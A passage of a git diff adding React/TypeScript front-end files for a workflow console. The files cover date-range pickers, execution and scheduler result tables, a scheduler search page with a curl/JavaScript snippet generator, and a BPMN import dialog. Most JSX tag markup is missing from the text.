toDisplayTime: string; + setToDisplayTime: (val: string) => void; + openDateSelect: boolean; + setOpenDateSelect: (val: boolean) => void; + openStartDatePicker: boolean; + setStartOpenDatePicker: (val: boolean) => void; + openEndDatePicker: boolean; + setEndOpenDatePicker: (val: boolean) => void; + disabled?: boolean; + recentSearches: { start: string; end: string }; + startTimeLabel?: string; + endTimeLabel?: string; + startDialogTitle?: string | null; + startDialogHelpText?: string | null; + endDialogTitle?: string | null; + endDialogHelpText?: string | null; +} + +export const DateControlComponent = ({ + startTime, + onStartFromChange, + startTimeEnd, + onStartToChange, + endTimeStart, + onEndFromChange, + endTime, + onEndToChange, + fromDisplayTime, + setFromDisplayTime, + toDisplayTime, + setToDisplayTime, + setOpenDateSelect, + openStartDatePicker, + setStartOpenDatePicker, + openEndDatePicker, + setEndOpenDatePicker, + startTimeLabel = "Start Time", + endTimeLabel = "End Time", + startDialogTitle = null, + startDialogHelpText = null, + endDialogTitle = null, + endDialogHelpText = null, +}: DateControlComponentProps) => { + const handleCommonStartDate = (time: string) => { + const { rangeStart, rangeEnd } = commonlyUsedDateTime(time); + setFromDisplayTime(getSearchDateTime(rangeStart, rangeEnd)); + onStartFromChange(rangeStart); + onStartToChange(rangeEnd); + }; + + const handleCommonEndDate = (time: string) => { + const { rangeStart, rangeEnd } = commonlyUsedDateTime(time); + setToDisplayTime(getSearchDateTime(rangeStart, rangeEnd)); + onEndFromChange(rangeStart); + onEndToChange(rangeEnd); + }; + + const showEndDatePicker = featureFlags.isEnabled( + FEATURES.SHOW_END_TIME_IN_DATEPICKER, + ); + + return ( + + + + {startDialogTitle && startDialogHelpText ? ( + + + {startDialogTitle} + + {startDialogHelpText} + + ) : null} + + + + } + > + + { + setStartOpenDatePicker(!openStartDatePicker); + setOpenDateSelect(false); + setEndOpenDatePicker(false); + }} + > + + {startTimeLabel}: + + + {fromDisplayTime} + + + {startTime || startTimeEnd ? ( + { + onStartFromChange(""); + onStartToChange(""); + setFromDisplayTime("Select time range"); + }} + > + + + ) : null} + + + {showEndDatePicker ? ( + + {endDialogTitle && endDialogHelpText ? ( + + + {endDialogTitle} + + {endDialogHelpText} + + ) : null} + + + } + > + + { + setEndOpenDatePicker(!openEndDatePicker); + setOpenDateSelect(false); + setStartOpenDatePicker(false); + }} + > + + {endTimeLabel}: + + + {toDisplayTime} + + + + {endTimeStart || endTime ? ( + { + onEndFromChange(""); + onEndToChange(""); + setToDisplayTime("Select time range"); + }} + > + + + ) : null} + + + ) : null} +       +       + ); +}; diff --git a/ui-next/src/pages/executions/DatePickerComponent.tsx b/ui-next/src/pages/executions/DatePickerComponent.tsx new file mode 100644 index 0000000..5eab90b --- /dev/null +++ b/ui-next/src/pages/executions/DatePickerComponent.tsx @@ -0,0 +1,338 @@ +import { + Box, + Grid, + MenuItem, + Tabs, + Tab, + Switch, + IconButton, +} from "@mui/material"; +import MuiButton from "components/ui/buttons/MuiButton"; +import MuiTypography from "components/ui/MuiTypography"; +import CheckCircleOutlineOutlinedIcon from "@mui/icons-material/CheckCircleOutlineOutlined"; +import ConductorSelect from "components/ui/inputs/ConductorSelect"; +import { COUNT_OPTIONS, TIME_OPTIONS } from "utils/constants/dateTimePicker"; +import { ConductorAutoComplete } from "components/ui/inputs"; +import { useState } from "react"; +import { ConductorTimePicker } from "components/ui/date-time/ConductorTimePicker"; +import { SingleDateRangePicker } from "components/ui/date-time/ConductorSingleDateRangePicker"; +import { getCombineDateTime, getDateTime, getSearchDateTime } from "utils/date"; +import _isEmpty from "lodash/isEmpty"; +import XCloseIcon from "components/icons/XCloseIcon"; + +import { COMMONLY_USED } from "utils/constants/dateTimePicker"; + +const blueTextStyle = { + fontWeight: "500", + color: "#1976D2", + fontSize: "13px", +}; + +const headerStyle = { + fontSize: "12px", + fontWeight: 500, + lineHeight: "16px", + padding: "10px 0 5px", +}; + +const selectStyle = { + "& .MuiInputBase-root": { + fontSize: "12px", + }, +}; + +const inputStyle = { + "& .MuiInputBase-root": { + fontSize: "12px", + }, +}; + +const tabStyles = { + "& .MuiTabs-flexContainer": { + justifyContent: "space-between", + borderBottom: "1px solid #DAD9D9", + }, + "& .MuiTab-root": { + color: "#a8a3a3", + fontWeight: 500, + fontSize: "16px", + width: "25%", + }, + "& .MuiTabs-scroller": { + padding: "0 10px", + }, +}; + +const closeIconStyle = { + position: "absolute", + right: "5px", + top: "5px", + cursor: "pointer", +}; + +export interface DatePickerProps { + startDateTime: string; + endDateTime: string; + label: string; + handleFrom: (data: string) => void; + handleTo: (data: string) => void; + openPicker: (val: boolean) => void; + setDisplayName: (val: string) => void; + maxDate: boolean; + handleCommonDate: (time: string) => void; +} + +export const DatePickerComponent = ({ + label, + startDateTime, + endDateTime, + handleFrom, + handleTo, + openPicker, + setDisplayName, + maxDate, + handleCommonDate, +}: DatePickerProps) => { + const [selectedTab, setSelectedTab] = useState(0); + const [roundToMinute, setRoundToMinute] = useState(true); + const [startDate, setStartDate] = useState(startDateTime); + const [endDate, setEndDate] = useState(endDateTime); + const [startTime, setStartTime] = useState(startDateTime); + const [endTime, setEndTime] = useState(endDateTime); + const [count, setCount] = useState("72"); + const [timeUnit, setTimeUnit] = useState("hours"); + const [error, setError] = useState({ start: "", end: "" }); + + const handleDateTime = () => { + const updatedStartDateTime = getCombineDateTime(startDate, startTime); + const updatedEndDateTime = getCombineDateTime(endDate, endTime); + if (updatedEndDateTime < updatedStartDateTime) { + setError({ + start: "", + end: "Start time cannot be greater than the end time.", + }); + } else { + handleFrom(updatedStartDateTime); + handleTo(updatedEndDateTime); + setDisplayName( + getSearchDateTime(updatedStartDateTime, updatedEndDateTime), + ); + openPicker(false); + setError({ start: "", end: "" }); + } + }; + + const handleRelativeTime = () => { + const rangeStartDate = new Date( + getDateTime("last", count, timeUnit, roundToMinute), + ); + handleFrom(rangeStartDate.getTime().toString()); + handleTo(""); + setDisplayName(getSearchDateTime(rangeStartDate.getTime().toString(), "")); + openPicker(false); + }; + + const setStartDateAndTime = (value: string) => { + setStartDate(value); + setStartTime(value); + }; + + const setEndDateAndTime = (value: string) => { + setEndDate(value); + setEndTime(value); + }; + + return ( + + setSelectedTab(val)} + sx={tabStyles} + > + + + + + + openPicker(false)} sx={closeIconStyle}> + + + + {selectedTab === 0 && ( + + + {Object.entries(COMMONLY_USED)?.map(([key, val]) => ( + + { + handleCommonDate(key); + openPicker(false); + }} + sx={{ ...blueTextStyle, cursor: "pointer" }} + > + {val.name} + + + ))} + + + )} + {selectedTab === 1 && ( + + + + + + + + {error.start && ( + + + {error.start} + + + )} + + {error.end && ( + + + {error.end} + + + )} + } + color="primary" + sx={{ position: "absolute", bottom: 0, right: 0 }} + onClick={handleDateTime} + disabled={_isEmpty(endDate)} + > + Apply + + + + + )} + {selectedTab === 2 && ( + + + + setCount(value)} + onInputChange={(__, value) => setCount(value)} + value={count} + freeSolo + disableClearable + sx={inputStyle} + /> + + + setTimeUnit(event.target.value)} + sx={selectStyle} + > + {Object.entries(TIME_OPTIONS).map(([key, val]) => ( + + {val} + + ))} + + + + + setRoundToMinute(!roundToMinute)} + /> + + Round to nearest minute + + + + {(startDateTime || endDateTime) && ( + + {`${label} time`} + + {getSearchDateTime(startDateTime, endDateTime)} + + + )} + + } + color="primary" + onClick={handleRelativeTime} + > + Apply + + + + )} + + ); +}; diff --git a/ui-next/src/pages/executions/ResultsTable.tsx b/ui-next/src/pages/executions/ResultsTable.tsx new file mode 100644 index 0000000..428902c --- /dev/null +++ b/ui-next/src/pages/executions/ResultsTable.tsx @@ -0,0 +1,345 @@ +import { ReactNode, useEffect, useState } from "react"; +import { DataTable, NavLink, Paper, Text } from "components"; +import { LinearProgress } from "@mui/material"; +import BulkActionModule from "./BulkActionModule"; +import executionsStyles from "./executionsStyles"; +import StatusBadge from "components/StatusBadge"; +import { calculateTimeFromMillis, totalPages } from "utils/utils"; +import { SnackbarMessage } from "components/ui/SnackbarMessage"; +import { ColumnCustomType, LegacyColumn } from "components/ui/DataTable/types"; +import NoDataComponent from "components/ui/NoDataComponent"; +import { colors } from "theme/tokens/variables"; +import { usePushHistory } from "utils/hooks/usePushHistory"; +import { WORKFLOW_DEFINITION_URL } from "utils/constants/route"; + +const LinearIndeterminate = () => { + return ( +
      + +
      + ); +}; + +const executionFields: LegacyColumn[] = [ + { + id: "startTime", + name: "startTime", + type: ColumnCustomType.DATE, + label: "Start Time", + minWidth: "120px", + sortable: true, + tooltip: "The time the workflow was started.", + }, + { + id: "workflowId", + name: "workflowId", + label: "Workflow Id", + grow: 2, + renderer: (workflowId) => ( + {workflowId} + ), + sortable: true, + tooltip: "The unique identifier for the workflow execution.", + }, + { + id: "workflowType", + name: "workflowType", + label: "Workflow Name", + grow: 2, + sortable: true, + tooltip: "The name of the workflow.", + }, + { + id: "version", + name: "version", + label: "Version", + grow: 0.5, + sortable: false, + tooltip: "The version of the workflow.", + }, + { + id: "correlationId", + name: "correlationId", + label: "Correlation Id", + grow: 2, + sortable: false, + tooltip: "The correlation id for the workflow.", + }, + { + id: "idempotencyKey", + name: "idempotencyKey", + label: "Idempotency Key", + grow: 2, + sortable: false, + tooltip: "The idempotency key for the workflow.", + }, + { + id: "updateTime", + name: "updateTime", + label: "Updated Time", + type: ColumnCustomType.DATE, + sortable: true, + tooltip: "The time the workflow was last updated.", + }, + { + id: "endTime", + name: "endTime", + label: "End Time", + type: ColumnCustomType.DATE, + minWidth: "120px", + sortable: true, + tooltip: "The time the workflow was completed.", + }, + { + id: "status", + name: "status", + label: "Status", + sortable: true, + minWidth: "150px", + renderer: (status) => , + tooltip: "The status of the workflow.", + }, + { + id: "input", + name: "input", + label: "Input", + grow: 2, + wrap: true, + sortable: false, + tooltip: "The input for the workflow.", + }, + { + id: "output", + name: "output", + label: "Output", + grow: 2, + sortable: false, + tooltip: "The output for the workflow.", + }, + { + id: "reasonForIncompletion", + name: "reasonForIncompletion", + label: "Reason For Incompletion", + sortable: false, + tooltip: "The reason the workflow was not completed.", + }, + { + id: "executionTime", + name: "executionTime", + label: "Execution Time", + renderer: (time) => { + if (time < 1000) { + return `${time} ms`; + } else { + return calculateTimeFromMillis(Math.floor(time / 1000)); + } + }, + sortable: false, + tooltip: "The time it took to execute the workflow.", + }, + { + id: "event", + name: "event", + label: "Event", + sortable: false, + tooltip: "The event that triggered this workflow.", + }, + { + id: "failedReferenceTaskNames", + name: "failedReferenceTaskNames", + label: "Failed Ref Task Names", + grow: 2, + sortable: false, + tooltip: "The names of the reference tasks that failed.", + }, + { + id: "externalInputPayloadStoragePath", + name: "externalInputPayloadStoragePath", + label: "External Input Payload Storage Path", + sortable: false, + tooltip: "The storage path for the external input payload.", + }, + { + id: "externalOutputPayloadStoragePath", + name: "externalOutputPayloadStoragePath", + label: "External Output Payload Storage Path", + sortable: false, + tooltip: "The storage path for the external output payload.", + }, + { + id: "priority", + name: "priority", + label: "Priority", + sortable: false, + tooltip: "The priority of the workflow.", + }, + + { + id: "createdBy", + name: "createdBy", + label: "Created By", + sortable: false, + tooltip: "The user who created the workflow.", + }, +]; + +export interface ResultsTableProps { + resultObj: any; + error?: any; + busy?: boolean; + page: number; + rowsPerPage: number; + setPage: (page: number) => void; + setSort: (id: string, direction: string) => void; + setRowsPerPage?: (rowsPerPage: number) => void; + showMore?: boolean; + title?: ReactNode; + refetchExecution: () => void; + handleError?: (error: any) => void; + handleClearError?: () => void; + filterOn: boolean; + handleReset: () => void; +} + +export default function ResultsTable({ + resultObj, + error, + busy, + page, + rowsPerPage, + setPage, + setSort, + setRowsPerPage, + title, + refetchExecution, + handleError, + handleClearError, + filterOn, + handleReset, +}: ResultsTableProps) { + const [selectedRows, setSelectedRows] = useState([]); + const [toggleCleared, setToggleCleared] = useState(false); + const pushHistory = usePushHistory(); + + const getErrorMessage = (error: any) => { + return error?.message || error?.statusText; + }; + + useEffect(() => { + setSelectedRows([]); + setToggleCleared((t) => !t); + }, [resultObj]); + + const handleClickDefineWorkflow = () => { + pushHistory(WORKFLOW_DEFINITION_URL.NEW); + }; + const handleClickClearSearch = () => { + handleReset(); + }; + + const totalCount = resultObj?.totalHits ?? resultObj?.results?.length; + + return ( + // @ts-ignore + + {error && ( + + )} + {!resultObj && !error && ( + + Click "Search" to submit query. + + )} + } + progressPending={busy} + title={ + title || + ` Page ${page} of ${totalPages( + page, + rowsPerPage.toString(), + resultObj?.results?.length, + )}` + } + data={resultObj?.results ? resultObj?.results : []} + columns={executionFields} + defaultShowColumns={[ + "startTime", + "workflowType", + "workflowId", + "endTime", + "status", + ]} + localStorageKey="workflowSearchExecutions" + keyField="workflowId" + useGlobalRowsPerPage={false} + paginationServer + paginationDefaultPage={page} + paginationPerPage={rowsPerPage} + paginationTotalRows={totalCount} + onChangeRowsPerPage={setRowsPerPage ? setRowsPerPage : undefined} + onChangePage={(page) => setPage(page)} + sortServer + defaultSortAsc={false} + onSort={(column, sortDirection) => { + if (column.id) { + setSort(column.id as string, sortDirection); + } + }} + selectableRows + contextComponent={ + + } + onSelectedRowsChange={({ selectedRows }) => + setSelectedRows(selectedRows) + } + clearSelectedRows={toggleCleared} + customStyles={{ + header: { + style: { + overflow: "visible", + }, + }, + contextMenu: { + style: { + display: "none", + }, + activeStyle: { + display: "flex", + }, + }, + }} + noDataComponent={ + filterOn ? ( + + ) : ( + + ) + } + /> + + ); +} diff --git a/ui-next/src/pages/executions/SchedulerApiSearchModal.tsx b/ui-next/src/pages/executions/SchedulerApiSearchModal.tsx new file mode 100644 index 0000000..aa8c628 --- /dev/null +++ b/ui-next/src/pages/executions/SchedulerApiSearchModal.tsx @@ -0,0 +1,96 @@ +import { ApiSearchModal } from "components/ApiSearchModal"; +import { curlHeaders } from "shared/CodeModal/curlHeader"; +import { toCodeT, useParamsToSdk } from "shared/CodeModal/hook"; +import { SupportedDisplayTypes } from "shared/CodeModal/types"; +import { BuildQueryOutput } from "./ApiSearchModalIntegration"; + +interface SchedulerApiSearchModalProps { + buildQueryOutput: BuildQueryOutput; + onClose: () => void; +} + +const buildEndpoint = ({ + start, + size, + sort, + freeText, + query, +}: BuildQueryOutput) => + `${ + window.location.origin + }/api/scheduler/search/executions?${new URLSearchParams({ + start: String(start), + size: String(size), + sort, + freeText, + query, + }).toString()}`; + +const buildCurlCode = ( + buildQueryOutput: BuildQueryOutput, + accessToken: string, +) => { + const endpoint = buildEndpoint(buildQueryOutput); + const headers = curlHeaders(accessToken); + const curlCommand = `curl '${endpoint}' \\${Object.entries(headers) + .map(([key, value]) => `\n-H '${key}: ${value}' \\`) + .join("")}\n--compressed`; + + return curlCommand; +}; + +const buildJsCode = ( + buildQueryOutput: BuildQueryOutput, + accessToken: string, +) => { + const { start, size, sort, freeText, query } = buildQueryOutput; + + return `import { orkesConductorClient, SchedulerClient } from "@io-orkes/conductor-javascript"; + +async function searchSchedule( + start = ${start}, + size = ${size}, + sort = "${sort}", + freeText = "${freeText}", + query = "${query}", +) { + const client = await orkesConductorClient({ + TOKEN: "${accessToken}", + serverUrl: "${window.location.origin}/api" + }); + const executor = new SchedulerClient(client); + const results = await executor.search(start, size, sort, freeText, query); + + return results; +} + +searchSchedule(); + `; +}; + +const toCodeMap: toCodeT = { + curl: buildCurlCode, + javascript: buildJsCode, +}; + +const SchedulerApiSearchModal = ({ + onClose, + buildQueryOutput, +}: SchedulerApiSearchModalProps) => { + const { selectedLanguage, setSelectedLanguage, code } = + useParamsToSdk(buildQueryOutput, toCodeMap); + + return ( + { + setSelectedLanguage(val); + }} + languages={Object.keys(toCodeMap) as SupportedDisplayTypes[]} + /> + ); +}; + +export { SchedulerApiSearchModal }; diff --git a/ui-next/src/pages/executions/SchedulerExecutions.tsx b/ui-next/src/pages/executions/SchedulerExecutions.tsx new file mode 100644 index 0000000..82b6657 --- /dev/null +++ b/ui-next/src/pages/executions/SchedulerExecutions.tsx @@ -0,0 +1,408 @@ +import { Box, Grid } from "@mui/material"; +import { Button, Paper } from "components"; +import { DEFAULT_ROWS_PER_PAGE } from "components/ui/DataTable/DataTable"; +import StatusBadge from "components/StatusBadge"; +import { renderStatusTagChip } from "components/StatusTagChip"; +import { ConductorAutoComplete } from "components/ui/inputs"; +import ConductorInput from "components/ui/inputs/ConductorInput"; +import SplitButton from "components/ui/buttons/ConductorSplitButton"; +import ConductorDateRangePicker from "components/ui/date-time/ConductorDateRangePicker"; +import ResetIcon from "components/icons/ResetIcon"; +import SearchIcon from "components/icons/SearchIcon"; +import _isEmpty from "lodash/isEmpty"; +import _isEqual from "lodash/isEqual"; +import { useState } from "react"; +import { Helmet } from "react-helmet"; +import { useHotkeys } from "react-hotkeys-hook"; +import { UseQueryResult } from "react-query/types/react/types"; +import { Navigate } from "react-router"; +import { useQueryState } from "react-router-use-location-state"; +import SectionContainer from "components/ui/layout/SectionContainer"; +import SectionHeader from "components/layout/SectionHeader"; +import { Key } from "ts-key-enum"; +import { ERROR_URL } from "utils/constants/route"; +import { useScheduleNames } from "utils/hooks/useGetSchedulerDefinitions"; +import { useSchedulerSearch, useWorkflowNames } from "utils/query"; +import { SchedulerApiSearchModal } from "./SchedulerApiSearchModal"; +import SchedulerResultsTable from "./SchedulerResultsTable"; + +const DEFAULT_SORT = "startTime:DESC"; +const MS_IN_DAY = 86400000; + +export default function SchedulerExecutions() { + const [status, setStatus] = useQueryState("status", []); + const [workflowType, setWorkflowType] = useQueryState( + "workflowType", + [], + ); + const [scheduleName, setScheduleName] = useQueryState( + "scheduleName", + [], + ); + const [executionId, setExecutionId] = useQueryState("executionId", ""); + const [startFrom, setStartFrom] = useQueryState("startFrom", ""); + const [startTo, setStartTo] = useQueryState("startTo", ""); + const [lookback, setLookback] = useQueryState("lookback", ""); + + const [errorMessage, setErrorMessage] = useState(null); + + const [page, setPage] = useQueryState("page", 1); + const [rowsPerPage, setRowsPerPage] = useQueryState( + "rowsPerPage", + DEFAULT_ROWS_PER_PAGE, + ); + const [sort, setSort] = useQueryState("sort", DEFAULT_SORT); + const [queryFT, setQueryFT] = useState(buildQuery); + + const [showCodeDialog, setShowCodeDialog] = useQueryState("displayCode", ""); + + const { + data: resultObj, + error, + isFetching, + refetch, + } = useSchedulerSearch({ + page, + rowsPerPage, + sort, + query: queryFT.query, + freeText: queryFT.freeText, + }) as UseQueryResult; + const [unauthorized, setUnauthorized] = useState(null); + + // For dropdown + const workflowNames = useWorkflowNames(); + const scheduleNames = useScheduleNames(); + const scheduleStatuses = ["POLLED", "EXECUTED", "FAILED"]; // POLLED, FAILED, EXECUTED + + function buildQuery() { + const clauses = []; + if (!_isEmpty(workflowType)) { + clauses.push(`workflowType IN (${workflowType.join(",")})`); + } + if (!_isEmpty(scheduleName)) { + clauses.push(`scheduleName IN (${scheduleName.join(",")})`); + } + if (!_isEmpty(executionId)) { + clauses.push(`executionId='${executionId}'`); + } + if (!_isEmpty(status)) { + clauses.push(`status IN (${status.join(",")})`); + } + if (!_isEmpty(lookback)) { + clauses.push( + `startTime>${new Date().getTime() - Number(lookback) * MS_IN_DAY}`, + ); + clauses.push(`startTime<${new Date().getTime()}`); + } + if (!_isEmpty(startFrom)) { + clauses.push(`startTime>${new Date(startFrom).getTime()}`); + } + if (!_isEmpty(startTo)) { + clauses.push(`startTime<${new Date(startTo).getTime()}`); + } + if (!_isEmpty(startFrom) && _isEmpty(startTo)) { + clauses.push(`startTime<${new Date().getTime()}`); + } + return { + query: clauses.join(" AND "), + freeText: "*", + }; + } + + function doSearch() { + setPage(1); + const oldQueryFT = queryFT; + const newQueryFT = buildQuery(); + setQueryFT(newQueryFT); + + // Only force refetch if query didn't change. Else let react-query detect difference and refetch automatically + if (_isEqual(oldQueryFT, newQueryFT)) { + refetch(); + } + } + + // hotkeys to search scheduler execution + useHotkeys(`${Key.Meta}+${Key.Enter}`, doSearch, { + enableOnFormTags: ["INPUT", "TEXTAREA", "SELECT"], + }); + + const handlePage = (page: number) => { + setPage(page); + }; + + const handleSort = (changedColumn: string, direction: string) => { + const sort = `${changedColumn}:${direction.toUpperCase()}`; + setPage(1); + setSort(sort); + doSearch(); + }; + + const handleRowsPerPage = (rowsPerPage: number) => { + setPage(1); + setRowsPerPage(rowsPerPage); + }; + + const handleLookback = (val: string) => { + setStartFrom(""); + setStartTo(""); + setLookback(val); + }; + + const onStartFromChange = (val: string) => { + setLookback(""); + setStartFrom(val); + }; + + const onStartToChange = (val: string) => { + setLookback(""); + setStartTo(val); + }; + + if (error?.status === 401) { + const readJsonResponse = async () => { + try { + const json = await error.json(); + setUnauthorized(json); + } catch { + setUnauthorized(null); + } + }; + readJsonResponse(); + } + + if (unauthorized) { + if (unauthorized?.message) { + return ( + + ); + } + + return ; + } + + const handleError = (error: any) => { + setErrorMessage(error); + }; + const handleClearError = () => { + setErrorMessage(null); + }; + + const clearAllFields = () => { + setWorkflowType([]); + setScheduleName([]); + setExecutionId(""); + setStatus([]); + setLookback(""); + setStartFrom(""); + setStartTo(""); + }; + + const handleReset = () => { + clearAllFields(); + const newQueryFT = { query: "", freeText: "*" }; + setQueryFT(newQueryFT); + refetch(); + }; + + return ( + <> + + Scheduled Workflow Executions + + {showCodeDialog && ( + setShowCodeDialog("")} + buildQueryOutput={{ + start: (page - 1) * rowsPerPage, + size: rowsPerPage, + sort, + freeText: queryFT.freeText, + query: buildQuery().query, + }} + /> + )} + + + + + + setScheduleName(val)} + value={scheduleName} + conductorInputProps={{ + autoFocus: true, + }} + /> + + + + setWorkflowType(val)} + value={workflowType} + /> + + + + + + + + + + + + + + + + setStatus(val)} + value={status} + renderTags={renderStatusTagChip} + renderOption={(props, option) => ( + + + + )} + /> + + + + + + + + } + options={[ + { + label: "Show as code", + onClick: () => setShowCodeDialog("active"), + }, + ]} + primaryOnClick={doSearch} + > + Search + + + + + + + + ); +} diff --git a/ui-next/src/pages/executions/SchedulerResultsTable.tsx b/ui-next/src/pages/executions/SchedulerResultsTable.tsx new file mode 100644 index 0000000..24fa998 --- /dev/null +++ b/ui-next/src/pages/executions/SchedulerResultsTable.tsx @@ -0,0 +1,265 @@ +import { useEffect, useState } from "react"; +import { DataTable, LinearProgress, NavLink, Paper, Text } from "components"; +import { AlertTitle } from "@mui/material"; +import BulkActionModule from "./BulkActionModule"; +import executionsStyles from "./executionsStyles"; +import ClipboardCopy from "components/ui/ClipboardCopy"; +import StatusBadge from "components/StatusBadge"; +import { SnackbarMessage } from "components/ui/SnackbarMessage"; +import { totalPages } from "utils/index"; +import { ColumnCustomType, LegacyColumn } from "components/ui/DataTable/types"; +import MuiAlert from "components/ui/MuiAlert"; +import NoDataComponent from "components/ui/NoDataComponent"; +import { colors } from "theme/tokens/variables"; +import { usePushHistory } from "utils/hooks/usePushHistory"; +import { SCHEDULER_DEFINITION_URL } from "utils/constants/route"; +import { useAuth } from "components/features/auth"; + +const executionFields: LegacyColumn[] = [ + { + id: "scheduledTime", + name: "scheduledTime", + type: ColumnCustomType.DATE, + label: "Scheduled time", + grow: 0.7, + sortable: true, + tooltip: "The time the workflow was scheduled to run.", + }, + { + id: "executionTime", + name: "executionTime", + type: ColumnCustomType.DATE, + label: "Execution time", + grow: 0.7, + sortable: true, + tooltip: "The time the workflow was executed.", + }, + { + id: "executionId", + name: "executionId", + label: "Execution id", + grow: 1.5, + sortable: true, + renderer: (executionId) => ( + {executionId} + ), + tooltip: "The unique identifier for the scheduler execution.", + }, + { + id: "scheduleName", + name: "scheduleName", + label: "Schedule name", + grow: 0.7, + sortable: true, + tooltip: "The name of the schedule.", + }, + { + id: "workflowName", + name: "workflowName", + label: "Workflow name", + grow: 0.7, + sortable: true, + tooltip: "The name of the workflow.", + }, + { + id: "workflowId", + name: "workflowId", + label: "Workflow id", + grow: 1.5, + sortable: true, + renderer: (workflowId) => { + if (!workflowId) { + return ""; + } + return ( + + {workflowId} + + ); + }, + tooltip: "The unique identifier for the workflow execution.", + }, + { + id: "state", + name: "state", + label: "Status", + grow: 0.5, + sortable: false, + renderer: (state) => , + tooltip: "The status of the execution.", + }, + { + id: "reason", + name: "reason", + label: "Reason for failure", + sortable: true, + tooltip: "The reason the execution failed.", + }, + { + id: "stackTrace", + name: "stackTrace", + label: "Error details", + sortable: true, + tooltip: "The error details.", + }, +]; + +export interface SchedulerResultsTableProps { + resultObj: any; + error: any; + busy?: boolean; + page: number; + rowsPerPage: number; + setPage: (page: number) => void; + setSort: (id: string, direction: string) => void; + setRowsPerPage?: (rowsPerPage: number) => void; + refetchExecution: () => void; + errorMessage: any; + handleError: (error: any) => void; + handleClearError: () => void; + isFilterOn: boolean; + handleReset: () => void; +} + +export default function SchedulerResultsTable({ + resultObj, + error, + busy, + page, + rowsPerPage, + setPage, + setSort, + setRowsPerPage, + refetchExecution, + errorMessage, + handleError, + handleClearError, + isFilterOn, + handleReset, +}: SchedulerResultsTableProps) { + const { isTrialExpired } = useAuth(); + const [selectedRows, setSelectedRows] = useState([]); + const [toggleCleared, setToggleCleared] = useState(false); + const pushHistory = usePushHistory(); + + const getErrorMessage = (error: any) => { + return error?.message || error?.statusText; + }; + + useEffect(() => { + setSelectedRows([]); + setToggleCleared((t) => !t); + }, [resultObj]); + + const handleClickDefineSchedule = () => { + pushHistory(SCHEDULER_DEFINITION_URL.NEW); + }; + + return ( + // @ts-ignore + + {busy && } + {error && ( + + Request Failed + {getErrorMessage(error)} + + )} + {errorMessage && ( + + )} + {!resultObj && !error && ( + + Click "Search" to submit query. + + )} + {resultObj && ( + setPage(page)} + sortServer + defaultSortFieldId="scheduledTime" + defaultSortAsc={false} + onSort={(column, sortDirection) => { + setSort(column.id as string, sortDirection); + }} + selectableRows + paginationTotalRows={resultObj?.totalHits} + contextComponent={ + + } + onSelectedRowsChange={({ selectedRows }) => + setSelectedRows(selectedRows) + } + clearSelectedRows={toggleCleared} + customStyles={{ + header: { + style: { + overflow: "visible", + }, + }, + contextMenu: { + style: { + display: "none", + }, + activeStyle: { + display: "flex", + }, + }, + }} + noDataComponent={ + isFilterOn ? ( + + ) : ( + + ) + } + /> + )} + + ); +} diff --git a/ui-next/src/pages/executions/SearchExampleQuery.tsx b/ui-next/src/pages/executions/SearchExampleQuery.tsx new file mode 100644 index 0000000..6724db3 --- /dev/null +++ b/ui-next/src/pages/executions/SearchExampleQuery.tsx @@ -0,0 +1,34 @@ +import MuiTypography from "components/ui/MuiTypography"; + +export const ExampleSearchQuery = () => { + return ( + + workflowType + = + 'test' + AND + status + in + ( + 'RUNNING' + , + 'COMPLETED' + ) + AND + input + . Age + = + 10 + AND + createdBy + = + 'mail@example.com' + + ); +}; diff --git a/ui-next/src/pages/executions/SplitWorkflowDefinitionButton/ImportBPNFileDialog.tsx b/ui-next/src/pages/executions/SplitWorkflowDefinitionButton/ImportBPNFileDialog.tsx new file mode 100644 index 0000000..b465bee --- /dev/null +++ b/ui-next/src/pages/executions/SplitWorkflowDefinitionButton/ImportBPNFileDialog.tsx @@ -0,0 +1,303 @@ +import { + Dialog, + DialogTitle, + DialogContent, + DialogActions, + Button, + Box, + Typography, + IconButton, + InputAdornment, + Stack, + Alert, + FormControlLabel, + Switch, +} from "@mui/material"; +import ConductorInput from "components/ui/inputs/ConductorInput"; +import { UploadSimple, XCircle } from "@phosphor-icons/react"; +import CodeBlockInput from "components/ui/inputs/CodeBlockInput"; +import { useImportBPMWorkflow } from "./hook"; +import { useRef } from "react"; +import MuiTypography from "components/ui/MuiTypography"; + +export const ImportBPNFileDialog = ({ + open, + onClose, +}: { + open: boolean; + onClose: () => void; +}) => { + const { + onChangeFileContent, + onUpload, + onFileSelect, + onDragEnter, + onDragLeave, + onDragOver, + onDrop, + onReset, + onWorkflowNameChange, + onOverWriteWorkflowToggle, + selectedFile, + fileContent, + isDragging, + isUploading, + uploadError, + workflowName, + workflowNameError, + overWriteWorkflow, + } = useImportBPMWorkflow({ onClose }); + + const fileInputRef = useRef(null); + const handleReset = () => { + onReset(); + onClose(); + }; + return ( + + + + + + + IMPORT BPMN + + + Convert a BPMN file automatically into a workflow definition. + + + + theme.palette.grey[500], + }} + > + + + + + + + + + + + + + ), + readOnly: true, + }} + /> + + + + + OR + + + fileInputRef.current?.click()} + > + {isDragging + ? "Drop BPMN file here" + : "drag & drop BPMN file here"} + + + + OR + + + { + onChangeFileContent(value); + }} + containerStyles={{ + marginTop: "8px", + }} + /> + + onWorkflowNameChange(e.target.value)} + placeholder="Enter workflow name" + error={!!workflowNameError} + helperText={ + workflowNameError || "This will be used as the workflow name" + } + sx={{ mt: 4 }} + /> + + + + Overwrite workflow + + + + When enabled, any existing workflow with the same name will be + overwritten. + + + + } + label="" + /> + + + + + + + {uploadError && ( + + {uploadError} + + )} + + + + + + + ); +}; diff --git a/ui-next/src/pages/executions/SplitWorkflowDefinitionButton/SplitWorkflowDefinitionButton.tsx b/ui-next/src/pages/executions/SplitWorkflowDefinitionButton/SplitWorkflowDefinitionButton.tsx new file mode 100644 index 0000000..3905330 --- /dev/null +++ b/ui-next/src/pages/executions/SplitWorkflowDefinitionButton/SplitWorkflowDefinitionButton.tsx @@ -0,0 +1,70 @@ +import { usePushHistory } from "utils/hooks/usePushHistory"; +import SplitButton from "components/ui/buttons/ConductorSplitButton"; +import AddIcon from "components/icons/AddIcon"; +import { WORKFLOW_DEFINITION_URL } from "utils/constants/route"; +import { useAuth } from "components/features/auth"; +import { useMemo, useState } from "react"; +import { ImportBPNFileDialog } from "./ImportBPNFileDialog"; +import { featureFlags, FEATURES } from "utils/flags"; +import { removeCopyFromStorage } from "pages/runWorkflow/runWorkflowUtils"; + +const SplitWorkflowDefinitionButton = ({ + disabled, +}: { + disabled?: boolean; +}) => { + const pushHistory = usePushHistory(); + const { isTrialExpired } = useAuth(); + const [openBPMNModal, setOpenBPMNModal] = useState(false); + const isImportBpmnHidden = 